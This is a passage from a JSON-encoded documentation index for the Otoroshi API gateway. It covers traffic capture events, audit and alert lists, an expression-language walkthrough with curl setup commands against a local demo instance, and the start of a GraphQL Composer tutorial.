\"stop_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 279887,\n \"ctx\" : null\n }, {\n \"task\" : \"stream-response\",\n \"start\" : 1644915085407,\n \"start_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"stop\" : 1644915085407,\n \"stop_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 382952,\n \"ctx\" : null\n }, {\n \"task\" : \"trigger-analytics\",\n \"start\" : 1644915085407,\n \"start_fmt\" : \"2022-02-15T09:51:25.407+01:00\",\n \"stop\" : 1644915085408,\n \"stop_fmt\" : \"2022-02-15T09:51:25.408+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 812036,\n \"ctx\" : null\n }, {\n \"task\" : \"request-success\",\n \"start\" : 1644915085408,\n \"start_fmt\" : \"2022-02-15T09:51:25.408+01:00\",\n \"stop\" : 1644915085408,\n \"stop_fmt\" : \"2022-02-15T09:51:25.408+01:00\",\n \"duration\" : 0,\n \"duration_ns\" : 0,\n \"ctx\" : null\n } ]\n }\n}\n```\n\n## Debugging\n\nwith the new reporting capabilities, the new engine also have debugging capabilities built in. In you enable the `debug_flow` flag on a route (or service), the resulting `RequestFlowReport` will be enriched with contextual informations between each plugins of the route plugin pipeline\n\n@@@ note\nyou can also use the `Try it` feature of the new route designer UI to get debug reports automatically for a specific call\n@@@\n\n## HTTP traffic capture\n\nusing the `capture` flag, a `TrafficCaptureEvent` is generated for each http request/response. This event will contains request and response body. Those events can be exported using @ref:[data exporters](../entities/data-exporters.md) as usual. You can also use the @ref:[GoReplay file exporter](../entities/data-exporters.md#goreplay-file) that is specifically designed to ingest those events and create [GoReplay](https://goreplay.org/) files (`.gor`)\n\n@@@ warning\nthis feature can have actual impact on CPU and RAM consumption\n@@@\n\n```json\n{\n \"@id\": \"d5998b0c4-cb08-43e6-9921-27472c7a56e0\",\n \"@timestamp\": 1651828801115,\n \"@type\": \"TrafficCaptureEvent\",\n \"@product\": \"otoroshi\",\n \"@serviceId\": \"route_2b2670879-131c-423d-b755-470c7b1c74b1\",\n \"@service\": \"test-server\",\n \"@env\": \"prod\",\n \"route\": {\n \"id\": \"route_2b2670879-131c-423d-b755-470c7b1c74b1\",\n \"name\": \"test-server\"\n },\n \"request\": {\n \"id\": \"152250645825034725600000\",\n \"int_id\": 115,\n \"method\": \"POST\",\n \"headers\": {\n \"Host\": \"test-server-next-gen.oto.tools:9999\",\n \"Accept\": \"*/*\",\n \"Cookie\": \"fifoo=fibar\",\n \"User-Agent\": \"curl/7.64.1\",\n \"Content-Type\": \"application/json\",\n \"Content-Length\": \"13\",\n \"Remote-Address\": \"127.0.0.1:57660\",\n \"Timeout-Access\": \"\",\n \"Raw-Request-URI\": \"/\",\n \"Tls-Session-Info\": \"Session(1651828041285|SSL_NULL_WITH_NULL_NULL)\"\n },\n \"cookies\": [\n {\n \"name\": \"fifoo\",\n \"value\": \"fibar\",\n \"path\": \"/\",\n \"domain\": null,\n \"http_only\": true,\n \"max_age\": null,\n \"secure\": false,\n \"same_site\": null\n }\n ],\n \"tls\": false,\n \"uri\": \"/\",\n \"path\": \"/\",\n \"version\": \"HTTP/1.1\",\n \"has_body\": true,\n \"remote\": \"127.0.0.1\",\n \"client_cert_chain\": null,\n \"body\": \"{\\\"foo\\\":\\\"bar\\\"}\"\n },\n \"backend_request\": {\n \"url\": \"http://localhost:3000/\",\n \"method\": \"POST\",\n \"headers\": {\n \"Host\": \"localhost\",\n \"Accept\": \"*/*\",\n \"Cookie\": \"fifoo=fibar\",\n \"User-Agent\": \"curl/7.64.1\",\n \"Content-Type\": \"application/json\",\n \"Content-Length\": \"13\"\n },\n \"version\": \"HTTP/1.1\",\n \"client_cert_chain\": null,\n \"cookies\": [\n {\n \"name\": \"fifoo\",\n \"value\": \"fibar\",\n \"domain\": null,\n \"path\": \"/\",\n \"maxAge\": null,\n \"secure\": false,\n \"httpOnly\": true\n }\n ],\n \"id\": \"152260631569472064900000\",\n \"int_id\": 33,\n \"body\": \"{\\\"foo\\\":\\\"bar\\\"}\"\n },\n \"backend_response\": {\n \"status\": 200,\n \"headers\": {\n \"Date\": \"Fri, 06 May 2022 09:20:01 GMT\",\n \"Connection\": \"keep-alive\",\n \"Set-Cookie\": \"foo=bar\",\n \"Content-Type\": \"application/json\",\n \"Transfer-Encoding\": \"chunked\"\n },\n \"cookies\": [\n {\n \"name\": \"foo\",\n \"value\": \"bar\",\n \"domain\": null,\n \"path\": null,\n \"maxAge\": null,\n \"secure\": false,\n \"httpOnly\": false\n }\n ],\n \"id\": \"152260631569472064900000\",\n \"status_txt\": \"OK\",\n \"http_version\": \"HTTP/1.1\",\n \"body\": \"{\\\"headers\\\":{\\\"host\\\":\\\"localhost\\\",\\\"accept\\\":\\\"*/*\\\",\\\"user-agent\\\":\\\"curl/7.64.1\\\",\\\"content-type\\\":\\\"application/json\\\",\\\"cookie\\\":\\\"fifoo=fibar\\\",\\\"content-length\\\":\\\"13\\\"},\\\"method\\\":\\\"POST\\\",\\\"path\\\":\\\"/\\\",\\\"body\\\":\\\"{\\\\\\\"foo\\\\\\\":\\\\\\\"bar\\\\\\\"}\\\"}\"\n },\n \"response\": {\n \"id\": \"152250645825034725600000\",\n \"status\": 200,\n \"headers\": {\n \"Date\": \"Fri, 06 May 2022 09:20:01 GMT\",\n \"Connection\": \"keep-alive\",\n \"Set-Cookie\": \"foo=bar\",\n \"Content-Type\": \"application/json\",\n \"Transfer-Encoding\": \"chunked\"\n },\n \"cookies\": [\n {\n \"name\": \"foo\",\n \"value\": \"bar\",\n \"domain\": null,\n \"path\": null,\n \"maxAge\": null,\n \"secure\": false,\n \"httpOnly\": false\n }\n ],\n \"status_txt\": \"OK\",\n \"http_version\": \"HTTP/1.1\",\n \"body\": \"{\\\"headers\\\":{\\\"host\\\":\\\"localhost\\\",\\\"accept\\\":\\\"*/*\\\",\\\"user-agent\\\":\\\"curl/7.64.1\\\",\\\"content-type\\\":\\\"application/json\\\",\\\"cookie\\\":\\\"fifoo=fibar\\\",\\\"content-length\\\":\\\"13\\\"},\\\"method\\\":\\\"POST\\\",\\\"path\\\":\\\"/\\\",\\\"body\\\":\\\"{\\\\\\\"foo\\\\\\\":\\\\\\\"bar\\\\\\\"}\\\"}\"\n },\n \"user-agent-details\": null,\n \"origin-details\": null,\n \"instance-number\": 0,\n \"instance-name\": \"dev\",\n \"instance-zone\": \"local\",\n \"instance-region\": \"local\",\n \"instance-dc\": \"local\",\n \"instance-provider\": \"local\",\n \"instance-rack\": \"local\",\n \"cluster-mode\": \"Leader\",\n \"cluster-name\": \"otoroshi-leader-9hnv5HUXpbCZD7Ee\"\n}\n```\n\n## openapi import\n\nas the new router offers possibility to match exactly on a single path and a single method, and with the help of the `service` entity, it is now pretty easy to import openapi document as `route-compositions` entities. To do that, a new api has been made available to perform the translation. Be aware that this api **DOES NOT** save the entity and just return the result of the translation. \n\n```sh\ncurl -X POST \\\n -H 'Content-Type: application/json' \\\n -u admin-api-apikey-id:admin-api-apikey-secret \\\n 'http://otoroshi-api.oto.tools:8080/api/route-compositions/_openapi' \\\n -d '{\"domain\":\"oto-api-proxy.oto.tools\",\"openapi\":\"https://raw.githubusercontent.com/MAIF/otoroshi/master/otoroshi/public/openapi.json\"}'\n```\n\n@@@ div { .centered-img }\n\n@@@\n\n"},{"name":"events-and-analytics.md","id":"/topics/events-and-analytics.md","url":"/topics/events-and-analytics.html","title":"Events and analytics","content":"# Events and analytics\n\nOtoroshi is a solution fully traced : calls to services, access to UI, creation of resources, etc.\n\n@@@ warning\nYou have to use [Elastic](https://www.elastic.co) to enable analytics features in Otoroshi\n@@@\n\n## Events\n\n* Analytics event\n* Gateway event\n* TCP event\n* Healthcheck event\n\n## Event log\n\nOtoroshi can read his own exported events from an Elasticsearch instance, set up in the danger zone. Theses events are available from the UI, at the following route: `https://xxxxx/bo/dashboard/events`.\n\nThe `Global events` page display all events of **GatewayEvent** type. This page is a way to quickly read an interval of events and can be used in addition of a Kibana instance.\n\nFor each event, a list of information will be displayed and an additional button `content` to watch the full content of the event, at the JSON format. \n\n## Alerts \n\n* `MaxConcurrentRequestReachedAlert`: happening when the handled requests number are greater than the limit of concurrent requests indicated in the global configuration of Otoroshi\n* `CircuitBreakerOpenedAlert`: happening when the circuit breaker pass from closed to opened\n* `CircuitBreakerClosedAlert`: happening when the circuit breaker pass from opened to closed\n* `SessionDiscardedAlert`: send when an admin discarded an admin sessions\n* `SessionsDiscardedAlert`: send when an admin discarded all admin sessions\n* `PanicModeAlert`: send when panic mode is enabled\n* `OtoroshiExportAlert`: send when otoroshi global configuration is exported\n* `U2FAdminDeletedAlert`: send when an admin has deleted an other admin user\n* `BlackListedBackOfficeUserAlert`: send when a blacklisted user has tried to acccess to the UI\n* `AdminLoggedInAlert`: send when an user admin has logged to the UI\n* `AdminFirstLogin`: send when an user admin has successfully logged to the UI for the first time\n* `AdminLoggedOutAlert`: send when an user admin has logged out from Otoroshi\n* `GlobalConfigModification`: send when an user amdin has changed the global configuration of Otoroshi\n* `RevokedApiKeyUsageAlert`: send when an user admin has revoked an apikey\n* `ServiceGroupCreatedAlert`: send when an user admin has created a service group\n* `ServiceGroupUpdatedAlert`: send when an user admin has updated a service group\n* `ServiceGroupDeletedAlert`: send when an user admin has deleted a service group\n* `ServiceCreatedAlert`: send when an user admin has created a tcp service\n* `ServiceUpdatedAlert`: send when an user admin has updated a tcp service\n* `ServiceDeletedAlert`: send when an user admin has deleted a tcp service\n* `ApiKeyCreatedAlert`: send when an user admin has crated a new apikey\n* `ApiKeyUpdatedAlert`: send when an user admin has updated a new apikey\n* `ApiKeyDeletedAlert`: send when an user admin has deleted a new apikey\n\n## Audit\n\nWith Otoroshi, any admin action and any sucpicious/alert action is recorded. These records are stored in Otoroshi’s datastore (only the last n records, defined by the `otoroshi.events.maxSize` config key). All the records can be send through the analytics mechanism (WebHook, Kafka, Elastic) for external and/or further usage. We recommand sending away those records for security reasons.\n\nOtoroshi keep the following list of information for each executed action:\n\n* `Date`: moment of the action\n* `User`: name of the owner\n* `From`: IP of the concerned user\n* `Action`: action performed by the person. The possible actions are:\n\n * `ACCESS_APIKEY`: User accessed a apikey\n * `ACCESS_ALL_APIKEYS`: User accessed all apikeys\n * `CREATE_APIKEY`: User created a apikey\n * `UPDATE_APIKEY`: User updated a apikey\n * `DELETE_APIKEY`: User deleted a apikey\n * `ACCESS_AUTH_MODULE`: User accessed an Auth. module\n * `ACCESS_ALL_AUTH_MODULES`: User accessed all Auth. modules\n * `CREATE_AUTH_MODULE`: User created an Auth. module\n * `UPDATE_AUTH_MODULE`: User updated an Auth. module\n * `DELETE_AUTH_MODULE`: User deleted an Auth. module\n * `ACCESS_CERTIFICATE`: User accessed a certificate\n * `ACCESS_ALL_CERTIFICATES`: User accessed all certificates\n * `CREATE_CERTIFICATE`: User created a certificate\n * `UPDATE_CERTIFICATE`: User updated a certificate\n * `DELETE_CERTIFICATE`: User deleted a certificate\n * `ACCESS_CLIENT_CERT_VALIDATOR`: User accessed a client cert. validator\n * `ACCESS_ALL_CLIENT_CERT_VALIDATORS`: User accessed all client cert. validators\n * `CREATE_CLIENT_CERT_VALIDATOR`: User created a client cert. validator\n * `UPDATE_CLIENT_CERT_VALIDATOR`: User updated a client cert. validator\n * `DELETE_CLIENT_CERT_VALIDATOR`: User deleted a client cert. validator\n * `ACCESS_DATA_EXPORTER_CONFIG`: User accessed a data exporter config\n * `ACCESS_ALL_DATA_EXPORTER_CONFIG`: User accessed all data exporter config\n * `CREATE_DATA_EXPORTER_CONFIG`: User created a data exporter config\n * `UPDATE_DATA_EXPORTER_CONFIG`: User updated a data exporter config\n * `DELETE_DATA_EXPORTER_CONFIG`: User deleted a data exporter config\n * `ACCESS_GLOBAL_JWT_VERIFIER`: User accessed a global jwt verifier\n * `ACCESS_ALL_GLOBAL_JWT_VERIFIERS`: User accessed all global jwt verifiers\n * `CREATE_GLOBAL_JWT_VERIFIER`: User created a global jwt verifier\n * `UPDATE_GLOBAL_JWT_VERIFIER`: User updated a global jwt verifier\n * `DELETE_GLOBAL_JWT_VERIFIER`: User deleted a global jwt verifier\n * `ACCESS_SCRIPT`: User accessed a script\n * `ACCESS_ALL_SCRIPTS`: User accessed all scripts\n * `CREATE_SCRIPT`: User created a script\n * `UPDATE_SCRIPT`: User updated a script\n * `DELETE_SCRIPT`: User deleted a Script\n * `ACCESS_SERVICES_GROUP`: User accessed a service group\n * `ACCESS_ALL_SERVICES_GROUPS`: User accessed all services groups\n * `CREATE_SERVICE_GROUP`: User created a service group\n * `UPDATE_SERVICE_GROUP`: User updated a service group\n * `DELETE_SERVICE_GROUP`: User deleted a service group\n * `ACCESS_SERVICES_FROM_SERVICES_GROUP`: User accessed all services from a services group\n * `ACCESS_TCP_SERVICE`: User accessed a tcp service\n * `ACCESS_ALL_TCP_SERVICES`: User accessed all tcp services\n * `CREATE_TCP_SERVICE`: User created a tcp service\n * `UPDATE_TCP_SERVICE`: User updated a tcp service\n * `DELETE_TCP_SERVICE`: User deleted a tcp service\n * `ACCESS_TEAM`: User accessed a Team\n * `ACCESS_ALL_TEAMS`: User accessed all teams\n * `CREATE_TEAM`: User created a team\n * `UPDATE_TEAM`: User updated a team\n * `DELETE_TEAM`: User deleted a team\n * `ACCESS_TENANT`: User accessed a Tenant\n * `ACCESS_ALL_TENANTS`: User accessed all tenants\n * `CREATE_TENANT`: User created a tenant\n * `UPDATE_TENANT`: User updated a tenant\n * `DELETE_TENANT`: User deleted a tenant\n * `SERVICESEARCH`: User searched for a service\n * `ACTIVATE_PANIC_MODE`: Admin activated panic mode\n\n\n* `Message`: explicit message about the action (example: the `SERVICESEARCH` action happened when an `user searched for a service`)\n* `Content`: all information at JSON format\n\n## Global metrics\n\nThe global metrics are displayed on the index page of the Otoroshi UI. Otoroshi provides information about :\n\n* the number of requests served\n* the amount of data received and sended\n* the number of concurrent requests\n* the number of requests per second\n* the current overhead\n\nMore metrics can be found on the **Global analytics** page (available at https://xxxxxx/bo/dashboard/stats).\n\n## Monitoring services\n\nOnce you have declared services, you can monitor them with Otoroshi. \n\nLet's starting by setup Otoroshi to push events to an elastic cluster via a data exporter. Then you will can setup Otoroshi events read from an elastic cluster. Go to `settings (cog icon) / Danger Zone` and expand the `Analytics: Elastic cluster (read)` section.\n\n@@@ div { .centered-img }\n\n@@@\n\n### Service healthcheck\n\nIf you have defined an health check URL in the service descriptor, you can access the health check page from the sidebar of the service page.\n\n@@@ div { .centered-img }\n\n@@@\n\n### Service live stats\n\nYou can also monitor live stats like total of served request, average response time, average overhead, etc. The live stats page can be accessed from the sidebar of the service page.\n\n@@@ div { .centered-img }\n\n@@@\n\n### Service analytics\n\nYou can also get some aggregated metrics. The analytics page can be accessed from the sidebar of the service page.\n\n@@@ div { .centered-img }\n\n@@@\n\n## New proxy engine\n\n### Debug reporting\n\nwhen using the @ref:[new proxy engine](./engine.md), when a route or the global config. enables traffic capture using the `debug_flow` flag, events of type `RequestFlowReport` are generated\n\n### Traffic capture\n\nwhen using the @ref:[new proxy engine](./engine.md), when a route or the global config. enables traffic capture using the `capture` flag, events of type `TrafficCaptureEvent` are generated. It contains everything that compose otoroshi input http request and output http responses\n"},{"name":"expression-language.md","id":"/topics/expression-language.md","url":"/topics/expression-language.html","title":"Expression language","content":"# Expression language\n\n\n\n- [Documentation and examples](#documentation-and-examples)\n- [Test the expression language](#test-the-expression-language)\n\nThe expression language provides an important mechanism for accessing and manipulating Otoroshi data on different inputs. For example, with this mechanism, you can mapping a claim of an inconming token directly in a claim of a generated token (using @ref:[JWT verifiers](../entities/jwt-verifiers.md)). You can add information of the service descriptor traversed such as the domain of the service or the name of the service. This information can be useful on the backend service.\n\n## Documentation and examples\n\n@@@div { #expressions }\n \n@@@\n\nIf an input contains a string starting by `${`, Otoroshi will try to evaluate the content. If the content doesn't match a known expression,\nthe 'bad-expr' value will be set.\n\n## Test the expression language\n\nYou can test to get the same values than the right part by creating these following services. \n\n```sh\n# Let's start by downloading the latest Otoroshi.\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n\n# Once downloading, run Otoroshi.\njava -Dotoroshi.adminPassword=password -jar otoroshi.jar \n\n# Create an authentication module to protect the following route.\ncurl -X POST http://otoroshi-api.oto.tools:8080/api/auths \\\n-H \"Otoroshi-Client-Id: admin-api-apikey-id\" \\\n-H \"Otoroshi-Client-Secret: admin-api-apikey-secret\" \\\n-H 'Content-Type: application/json; charset=utf-8' \\\n-d @- <<'EOF'\n{\"type\":\"basic\",\"id\":\"auth_mod_in_memory_auth\",\"name\":\"in-memory-auth\",\"desc\":\"in-memory-auth\",\"users\":[{\"name\":\"User Otoroshi\",\"password\":\"$2a$10$oIf4JkaOsfiypk5ZK8DKOumiNbb2xHMZUkYkuJyuIqMDYnR/zXj9i\",\"email\":\"user@foo.bar\",\"metadata\":{\"username\":\"roger\"},\"tags\":[\"foo\"],\"webauthn\":null,\"rights\":[{\"tenant\":\"*:r\",\"teams\":[\"*:r\"]}]}],\"sessionCookieValues\":{\"httpOnly\":true,\"secure\":false}}\nEOF\n\n\n# Create a proxy of the mirror.otoroshi.io on http://api.oto.tools:8080\ncurl -X POST http://otoroshi-api.oto.tools:8080/api/routes \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-H 'Content-Type: application/json; charset=utf-8' \\\n-d @- <<'EOF'\n{\n \"id\": \"expression-language-api-service\",\n \"name\": \"expression-language\",\n \"enabled\": true,\n \"frontend\": {\n \"domains\": [\n \"api.oto.tools/\"\n ]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.OverrideHost\"\n },\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.ApikeyCalls\",\n \"config\": {\n \"validate\": true,\n \"mandatory\": true,\n \"pass_with_user\": true,\n \"wipe_backend_request\": true,\n \"update_quotas\": true\n },\n \"plugin_index\": {\n \"validate_access\": 1,\n \"transform_request\": 2,\n \"match_route\": 0\n }\n },\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.AuthModule\",\n \"config\": {\n \"pass_with_apikey\": true,\n \"auth_module\": null,\n \"module\": \"auth_mod_in_memory_auth\"\n },\n \"plugin_index\": {\n \"validate_access\": 1\n }\n },\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.AdditionalHeadersIn\",\n \"config\": {\n \"headers\": {\n \"my-expr-header.apikey.unknown-tag\": \"${apikey.tags['0':'no-found-tag']}\",\n \"my-expr-header.request.uri\": \"${req.uri}\",\n \"my-expr-header.ctx.replace-field-all-value\": \"${ctx.foo.replaceAll('o','a')}\",\n \"my-expr-header.env.unknown-field\": \"${env.java_h:not-found-java_h}\",\n \"my-expr-header.service-id\": \"${service.id}\",\n \"my-expr-header.ctx.unknown-fields\": \"${ctx.foob|ctx.foot:not-found}\",\n \"my-expr-header.apikey.metadata\": \"${apikey.metadata.foo}\",\n \"my-expr-header.request.protocol\": \"${req.protocol}\",\n \"my-expr-header.service-domain\": \"${service.domain}\",\n \"my-expr-header.token.unknown-foo-field\": \"${token.foob:not-found-foob}\",\n \"my-expr-header.service-unknown-group\": \"${service.groups['0':'unkown group']}\",\n \"my-expr-header.env.path\": \"${env.PATH}\",\n \"my-expr-header.request.unknown-header\": \"${req.headers.foob:default value}\",\n \"my-expr-header.service-name\": \"${service.name}\",\n \"my-expr-header.token.foo-field\": \"${token.foob|token.foo}\",\n \"my-expr-header.request.path\": \"${req.path}\",\n \"my-expr-header.ctx.geolocation\": \"${ctx.geolocation.foo}\",\n \"my-expr-header.token.unknown-fields\": \"${token.foob|token.foob2:not-found}\",\n \"my-expr-header.request.unknown-query\": \"${req.query.foob:default value}\",\n \"my-expr-header.service-subdomain\": \"${service.subdomain}\",\n \"my-expr-header.date\": \"${date}\",\n \"my-expr-header.ctx.replace-field-value\": \"${ctx.foo.replace('o','a')}\",\n \"my-expr-header.apikey.name\": \"${apikey.name}\",\n \"my-expr-header.request.full-url\": \"${req.fullUrl}\",\n \"my-expr-header.ctx.default-value\": \"${ctx.foob:other}\",\n \"my-expr-header.service-tld\": \"${service.tld}\",\n \"my-expr-header.service-metadata\": \"${service.metadata.foo}\",\n \"my-expr-header.ctx.useragent\": \"${ctx.useragent.foo}\",\n \"my-expr-header.service-env\": \"${service.env}\",\n \"my-expr-header.request.host\": \"${req.host}\",\n \"my-expr-header.config.unknown-port-field\": \"${config.http.ports:not-found}\",\n \"my-expr-header.request.domain\": \"${req.domain}\",\n \"my-expr-header.token.replace-header-value\": \"${token.foo.replace('o','a')}\",\n \"my-expr-header.service-group\": \"${service.groups['0']}\",\n \"my-expr-header.ctx.foo\": \"${ctx.foo}\",\n \"my-expr-header.apikey.tag\": \"${apikey.tags['0']}\",\n \"my-expr-header.service-unknown-metadata\": \"${service.metadata.test:default-value}\",\n \"my-expr-header.apikey.id\": \"${apikey.id}\",\n \"my-expr-header.request.header\": \"${req.headers.foo}\",\n \"my-expr-header.request.method\": \"${req.method}\",\n \"my-expr-header.ctx.foo-field\": \"${ctx.foob|ctx.foo}\",\n \"my-expr-header.config.port\": \"${config.http.port}\",\n \"my-expr-header.token.unknown-foo\": \"${token.foo}\",\n \"my-expr-header.date-with-format\": \"${date.format('yyy-MM-dd')}\",\n \"my-expr-header.apikey.unknown-metadata\": \"${apikey.metadata.myfield:default value}\",\n \"my-expr-header.request.query\": \"${req.query.foo}\",\n \"my-expr-header.token.replace-header-all-value\": \"${token.foo.replaceAll('o','a')}\"\n }\n }\n }\n ]\n}\nEOF\n```\n\nCreate an apikey or use the default generate apikey.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/apikeys' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"clientId\": \"api-apikey-id\",\n \"clientSecret\": \"api-apikey-secret\",\n \"clientName\": \"api-apikey-name\",\n \"description\": \"api-apikey-id-description\",\n \"authorizedGroup\": \"default\",\n \"enabled\": true,\n \"throttlingQuota\": 10,\n \"dailyQuota\": 10,\n \"monthlyQuota\": 10,\n \"tags\": [\"foo\"],\n \"metadata\": {\n \"fii\": \"bar\"\n }\n}\nEOF\n```\n\nThen try to call the first service.\n\n```sh\ncurl http://api.oto.tools:8080/api/\\?foo\\=bar \\\n-H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJmb28iOiJiYXIifQ.lV130dFXR3bNtWBkwwf9dLmfsRVmnZhfYF9gvAaRzF8\" \\\n-H \"Otoroshi-Client-Id: api-apikey-id\" \\\n-H \"Otoroshi-Client-Secret: api-apikey-secret\" \\\n-H \"foo: bar\" | jq\n```\n\nThis will returns the list of the received headers by the mirror.\n\n```json\n{\n ...\n \"headers\": {\n ...\n \"my-expr-header.date\": \"2021-11-26T10:54:51.112+01:00\",\n \"my-expr-header.ctx.foo\": \"no-ctx-foo\",\n \"my-expr-header.env.path\": \"/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin\",\n \"my-expr-header.apikey.id\": \"admin-api-apikey-id\",\n \"my-expr-header.apikey.tag\": \"one-tag\",\n \"my-expr-header.service-id\": \"expression-language-api-service\",\n \"my-expr-header.apikey.name\": \"Otoroshi Backoffice ApiKey\",\n \"my-expr-header.config.port\": \"8080\",\n \"my-expr-header.request.uri\": \"/api/?foo=bar\",\n \"my-expr-header.service-env\": \"prod\",\n \"my-expr-header.service-tld\": \"oto.tools\",\n \"my-expr-header.request.host\": \"api.oto.tools:8080\",\n \"my-expr-header.request.path\": \"/api/\",\n \"my-expr-header.service-name\": \"expression-language\",\n \"my-expr-header.ctx.foo-field\": \"no-ctx-foob-foo\",\n \"my-expr-header.ctx.useragent\": \"no-ctx-useragent.foo\",\n \"my-expr-header.request.query\": \"bar\",\n \"my-expr-header.service-group\": \"default\",\n \"my-expr-header.request.domain\": \"api.oto.tools\",\n \"my-expr-header.request.header\": \"bar\",\n \"my-expr-header.request.method\": \"GET\",\n \"my-expr-header.service-domain\": \"api.oto.tools\",\n \"my-expr-header.apikey.metadata\": \"bar\",\n \"my-expr-header.ctx.geolocation\": \"no-ctx-geolocation.foo\",\n \"my-expr-header.token.foo-field\": \"no-token-foob-foo\",\n \"my-expr-header.date-with-format\": \"2021-11-26\",\n \"my-expr-header.request.full-url\": \"http://api.oto.tools:8080/api/?foo=bar\",\n \"my-expr-header.request.protocol\": \"http\",\n \"my-expr-header.service-metadata\": \"no-meta-foo\",\n \"my-expr-header.ctx.default-value\": \"other\",\n \"my-expr-header.env.unknown-field\": \"not-found-java_h\",\n \"my-expr-header.service-subdomain\": \"api\",\n \"my-expr-header.token.unknown-foo\": \"no-token-foo\",\n \"my-expr-header.apikey.unknown-tag\": \"one-tag\",\n \"my-expr-header.ctx.unknown-fields\": \"not-found\",\n \"my-expr-header.token.unknown-fields\": \"not-found\",\n \"my-expr-header.request.unknown-query\": \"default value\",\n \"my-expr-header.service-unknown-group\": \"default\",\n \"my-expr-header.request.unknown-header\": \"default value\",\n \"my-expr-header.apikey.unknown-metadata\": \"default value\",\n \"my-expr-header.ctx.replace-field-value\": \"no-ctx-foo\",\n \"my-expr-header.token.unknown-foo-field\": \"not-found-foob\",\n \"my-expr-header.service-unknown-metadata\": \"default-value\",\n \"my-expr-header.config.unknown-port-field\": \"not-found\",\n \"my-expr-header.token.replace-header-value\": \"no-token-foo\",\n \"my-expr-header.ctx.replace-field-all-value\": \"no-ctx-foo\",\n \"my-expr-header.token.replace-header-all-value\": \"no-token-foo\",\n }\n}\n```\n\nThen try the second call to the webapp. Navigate on your browser to `http://webapp.oto.tools:8080`. Continue with `user@foo.bar` as user and `password` as credential.\n\nThis should output:\n\n```json\n{\n ...\n \"headers\": {\n ...\n \"my-expr-header.user\": \"User Otoroshi\",\n \"my-expr-header.user.email\": \"user@foo.bar\",\n \"my-expr-header.user.metadata\": \"roger\",\n \"my-expr-header.user.profile-field\": \"User Otoroshi\",\n \"my-expr-header.user.unknown-metadata\": \"not-found\",\n \"my-expr-header.user.unknown-profile-field\": \"not-found\",\n }\n}\n```"},{"name":"graphql-composer.md","id":"/topics/graphql-composer.md","url":"/topics/graphql-composer.html","title":"GraphQL Composer Plugin","content":"# GraphQL Composer Plugin\n\n
\nRoute plugins:\nGraphQL Composer\n
\n\n@@include[experimental.md](../includes/experimental.md) { .experimental-feature }\n\n> GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data. GraphQL provides a complete and understandable description of the data in your API, gives clients the power to ask for exactly what they need and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools.\n[Official GraphQL website](https://graphql.org/)\n\nAPIs RESTful and GraphQL development has become one of the most popular activities for companies as well as users in recent times. In fast scaling companies, the multiplication of clients can cause the number of API needs to grow at scale.\n\nOtoroshi comes with a solution to create and meet your customers' needs without constantly creating and recreating APIs: the `GraphQL composer plugin`. The GraphQL Composer is an useful plugin to build an GraphQL API from multiples differents sources. These sources can be REST apis, GraphQL api, raw JSON or WASM binary or anything that supports the HTTP protocol. \n\n@@@ div { .centered-img }\n\n@@@\n\n\n## Tutorial\n\nLet's set up the plugin to align with the specified models:\n\nA user model with attributes for name and password.\nA country model with attributes for name and its associated users.\n\nThe plugin provides custom directives to compose your API. A `directive` decorates part of a GraphQL schema or operation with additional configuration. Directives are preceded by the **@** character, like so:\n\n* @ref:[rest](#directives) : to call a http rest service with dynamic path params\n* @ref:[permission](#directives) : to restrict the access to the sensitive field\n* @ref:[graphql](#directives) : to call a graphQL service by passing a url and the associated query\n\nThe GraphQL schema of our tutorial should look like this\n\n```graphql\ntype Country {\n name: String\n users: [User] @rest(url: \"http://localhost:5000/countries/${item.name}/users\")\n}\n\ntype User {\n name: String\n password: String @password(value: \"ADMIN\")\n}\n\ntype Query {\n users: [User] @rest(url: \"http://localhost:5000/users\", paginate: true)\n user(id: String): User @rest(url: \"http://localhost:5000/users/${params.id}\")\n countries: [Country] @graphql(url: \"https://countries.trevorblades.com\", query: \"{ countries { name }}\", paginate: true)\n}\n```\n\nNow that we've covered the fundamentals of GraphQL Composer, let's proceed with setting it up in our project :\n\n* set up a route containing the GraphQL Composer plugin\n* configure the plugin with the appropriate schema\n* conduct a test to ensure everything is functioning correctly\n\n@@@ div { .centered-img }\n\n@@@\n\n### Setup your environment\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Create our countries API\n\nLet's create the `route` with few informations :\n\n* name: `My countries API`\n* frontend: `countries-api.oto.tools`\n* plugins: `GraphQL composer` plugin\n\nLet's make a request call through the Otoroshi Admin API (with the default apikey), like the example below\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \\\n -d '{\n \"id\": \"countries-api\",\n \"name\": \"My countries API\",\n \"frontend\": {\n \"domains\": [\"countries.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ],\n \"load_balancing\": {\n \"type\": \"RoundRobin\"\n }\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.GraphQLBackend\"\n }\n ]\n}' \\\n -H \"Content-type: application/json\" \\\n -u 